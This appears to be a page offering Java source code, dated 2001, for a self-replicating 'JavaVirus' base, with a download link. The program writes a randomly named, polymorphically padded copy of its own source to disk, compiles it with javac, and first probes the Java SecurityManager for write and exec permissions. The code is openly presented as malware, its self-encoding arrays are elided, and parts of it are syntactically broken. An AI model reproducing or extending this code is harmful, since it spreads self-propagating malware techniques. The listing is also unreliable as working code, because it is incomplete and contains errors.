/** base for a JavaVirus (c) Holger 'Lynxx' Hippenstiel on 17.01.2001
    Homepage: http://holger.hippenstiel.org Email: lynxx@uni.de
    Copy the Class-File to any Dir, compile and execute this class and you get
    a new Virus_RANDOM.java
*/
import java.io.*;
import java.util.*;
final class Virus {
 public static void main(String[]argv) {
  int[]r={
   ... (Look in the Source)
  };
  int[]s={
   ... (Look in the Source)
  };
  int[]t={
   ... (Look in the Source)
  };
  boolean bFileSuccess=false;
  boolean bRunSuccess=false;
  String strName=null;
  String strSource=null;
  String strExec=null;
  try {
   // Trailer ...
   p("Java viruses are impossible ? Ok let's see ...");

   // Create a random name
   String strRnd="";
   Random rnd=new Random();
   int l=((rnd.nextInt()&mask)%3)+2;
   for (int i=0;i<l;i++)
    strRnd+=Integer.toString((rnd.nextInt()&mask),36);
   l=((rnd.nextInt()&mask)%3)+4;
   for (int i=0;i<l;i++) {
    int z=(rnd.nextInt()&mask)%(strRnd.length()-2)+1;
    strRnd=strRnd.substring(0,z)+(i%4==0?&"_":strRnd.substring(z,z+1).toUpperCase())+
     strRnd.substring(z,strRnd.length());
   }
   strRnd=Integer.toString(((rnd.nextInt()&mask)%26+10),36).toUpperCase()+strRnd;

   String strSep=File.separator;
   // Windows or Unix ?
   if (strSep.equals("\\"))
    strSep="";
   else
    strSep="."+strSep;
   strName="Virus_"+strRnd;
   strSource=strSep+strName+".java";
   strExec="javac -O -nowarn "+strSource;

   // Let's have a look what's allowed ...
   SecurityManager sm=System.getSecurityManager();
   if (sm!=null) {
    p("SecurityManager installed, will check what's allowed ...");
    boolean bWriteAllowed=true;
    try {
     sm.checkWrite(strSource);
    }
    catch(Exception e){
     bWriteAllowed=false;
    }
    p("Write of file '"+strSource+"' is "+(bWriteAllowed?"":"NOT ")+"allowed !");

    boolean bExecAllowed=true;
    try {
     sm.checkExec(strExec);
    }
    catch(Exception e){
     bExecAllowed=false;
    }
    p("Execute of '"+strSource+"' is "+(bExecAllowed?"":"NOT ")+"allowed !");
   }
   else
    p("No SecurityManager for this Thread, i could do everything !");

   // Create a new sourcefile
   PrintWriter o=new PrintWriter(new FileOutputStream(strSource));

   // Write '/** base for a JavaVirus'...
   x(o,r);

   // Write Virusname
   o.write(strName);

   // Write '{ public static void main'...
   x(o,s);

   // Write 'int[]?????={'... to randomize Virus further
   int ran[]=new int[((rnd.nextInt()&mask)%1024)+4];   // Random length
   for(int i=0;i<ran.length;)ran[i++]=rnd.nextInt(); // Random contents
   w(o,0,ran);

   // Write 'int[]r={'...
   w(o,114,r);
   // Write 'int[]s={'...
   w(o,115,s);
   // Write 'int[]t={'...
   w(o,116,t);

   // Write 'try {'...
   x(o,t);

   // Close the new sourcefile
   o.close();
   bFileSuccess=true;

   // Compile the new Virus ...
   bRunSuccess=ex(strExec);
  }
  catch(Exception e){
   p("Whoops ! Exception: "+e);
  }
  if (bFileSuccess) {
   p("A new Virus '"+strName+"' is born ...");
   p("It was written to disk"+(bRunSuccess?" and":" but not")+" compiled.");
  }
  else
   p("I'm unable to spawn a new virus !");
 }

 private static boolean ex(String strLine) {
   boolean bRetval=true;
   Process pr=null;
   try{
    pr=Runtime.getRuntime().exec(strLine);
    BufferedReader in=new BufferedReader(new InputStreamReader(pr.getInputStream()));
    String strALine=null;
    boolean bFirstout=true;
    while ((strALine=in.readLine())!=null){
     if(bFirstout){
      bFirstout=false;
      p("Process '"+strLine+"'produced output:");
     }
     p(strALine);
    }
   }
   catch (Exception e) {
    bRetval=false;
   }
   if(bRetval)bRetval=pr.exitValue()==0;
   return bRetval;
 }

 private static void p(String t){
  System.out.println(t);
 }

 private static void x(PrintWriter o,int a[]){
   byte b[]=new byte[a.length*4];
   int k=0;
   for(int i=0;i<a.length;){
    int v=a[i++];
    for(int j=0;j<4;j++){
     byte c=(byte)(v>>((3-j%4)*8)&0xff);
     if(c!=0)b[k++]=c;
    }
   }
   o.write(new String(b,0,k));
 }

 private static void w(PrintWriter o,int n,int a[]){
  // '  int[]n={'...
  byte b[]={32,32,105,110,116,91,93};
  byte c[]={61,123,10,32,32,32};

  for(int i=0;i<b.length;)
   o.write(b[i++]);

  if(n!=0)
   o.write((byte)n);
  else{ // Random name !
   Random rnd=new Random();
   int l=((rnd.nextInt()&mask)%32)+5;
   for (int i=0;i<l;i++){
    o.write((byte)('a'+(rnd.nextInt()&mask)%26));
   }
  }

  for(int i=0;i<c.length;)
   o.write(c[i++]);

  for(int i=0;i<a.length;)
   o.print("0x"+Integer.toHexString(a[i++]));

   if(i!=a.length) // No ',' after last entry
    o.write(44);

   if(i!=0&&i%6==0){ // put a return after 6 Numbers
    o.write(10);
    o.write(32);
    o.write(32);
    o.write(32);
   }
  }
  // '};'
  o.write(10);
  o.write(32);
  o.write(32);
  o.write(125);
  o.write(59);
  o.write(10);
 }
 private final static int mask=0x7fffffff;
}

Download Source & .class-File